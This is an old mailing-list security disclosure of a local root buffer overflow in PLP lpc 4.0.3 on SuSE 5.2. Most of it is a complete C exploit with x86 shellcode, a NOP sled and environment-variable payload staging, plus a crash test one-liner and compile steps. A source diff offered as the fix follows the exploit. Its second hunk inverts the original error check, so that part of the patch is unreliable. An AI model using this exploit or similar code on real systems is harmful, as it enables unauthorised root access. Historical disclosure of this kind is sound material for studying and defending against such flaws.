Date: Wed, 3 Feb 1999 07:58:36 -0000From: xnec@INFERNO.TUSCULUM.EDU Subject: Linux /usr/bin/lpc overflowgreetings,INFO: There is a local root comprimise hole in PLP Line Printer Control program, version 4.0.3, which is SuSE 5.2's /usr/bin/lpc. Most other unices use a different version of lpc (including SuSE 5.1). You can check your version by typing "lpc" and seeing if you get the PLP version or just "lpc>" which is not vulnerable. The offending code is in displayq.c and control_ops.c, where we see:--- char afname[MAXPARMLEN]; /* attach file name */... if (fscanf (afp, "%s", afname) == 1) {---EXPLOIT:xnec_lpc.c----snip----/* Standard overflow for x86 linux lpc. PLP Line Printer Control program, version 4.0.3. Tested on SuSE 5.2 (suidroot). Test your copy of /usr/bin/lpc by trying an /usr/bin/lpc attach lp `perl -e "print 'A' x 1000"`;lpc status lp The problematic code is in displayq.c and control_ops.c, where we attempt to fscanf() the lockfile's contents into a fixed length buffer. See the Bugtraq post for full fix information(www.geek-girl.com/bugtraq). The buffer we're overflowing is 256bytes, and an offset of 0 works just fine. Try in increments of +-100 if it doesn't work for you. Obviously this is a complete rip of Aleph1's standard overflow program from his paper "smashing the stack for fun and profit".to compile: gcc -o xnec_lpc xnec_lpc.c bugs: only sets uid=0, and you may have to have a printer defined (lp on mybox). greets to #sk1llz -xnec xnec on EF and DALnet, xnec@inferno.tusculum.edu*/#include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 356 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90char pause;char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";unsigned long get_esp(void) { __asm__("movl %esp,%eax");}void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); printf("\nPLP Line Printer Control program, version 4.0.3 overflow.\n"); printf("Bug found by xnec, code ripped from Aleph1. After running this program, simply compile and run:\n---\n#include void main(){system(\"/bin/bash\");}\n---\n"); scanf("%c", pause); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("`which lpc` attach lp $RET; `which lpc` status lp");}----snip----FIX: While you COULD use these diff's to patch up your lpc, I would recommend against it as there is a perfectly good alternative in the line printer suite available in the form of lpr-tlr-971016.tar.gz. This is included in SuSE 5.2's source library. If you insist on using PLP, here you go: --- /usr/src/packages/SOURCES/origplp/plp-4.0.3/src/common/control_ops.c Thu Jun 15 14:09:12 1995 +++ /usr/src/packages/SOURCES/newplp/plp-4.0.3/src/common/control_ops.c Wed Feb 3 12:36:17 1999@@ -676,7 +676,7 @@ att_mark = False; if ((afp = fopen_daemon (Attach_file, "r"))) { /* Try to open attach file */ - if (fscanf (afp, "%s", afname) == 1) { + if (fgets (afname, sizeof(afname), afp) != NULL) { if (strsame (afname, Printer)) { fatal (XLOG_INFO, "Printer '%s' attached to itself", Printer); }@@ -1622,7 +1622,7 @@ if ((s = C_abort ())) { if (stat (Attach_file, &statb) == 0) { if ((afp = fopen_daemon (Attach_file, "r"))) { - if (fscanf (afp, "%s", afname) != 1) { + if (fgets (afname, sizeof(afname), afp) != NULL) { fatal (XLOG_INFO, "attach file for printer %s corrupted!", Printer); } --- /usr/src/packages/SOURCES/origplp/plp-4.0.3/src/common/displayq.c Tue Aug 29 12:44:35 1995 +++ /usr/src/packages/SOURCES/newplp/plp-4.0.3/src/common/displayq.c Wed Feb 3 12:35:37 1999@@ -99,7 +99,7 @@ * check to see if attached to another printerq, alter printer if attached */ if (Attach_file && *Attach_file && ((afp = fopen (Attach_file, "r")))) { - if (fscanf (afp, "%s", afname) == 1) { + if (fgets (afname, sizeof(afname), afp) != NULL) { if (strsame (afname, Printer)) { fatal (XLOG_INFO, "Printer '%s' attached to itself", Printer); } -xnec ################################################################## # xnec@inferno.tusculum.edu - xnec on IRC EF and DALnet # ##################################################################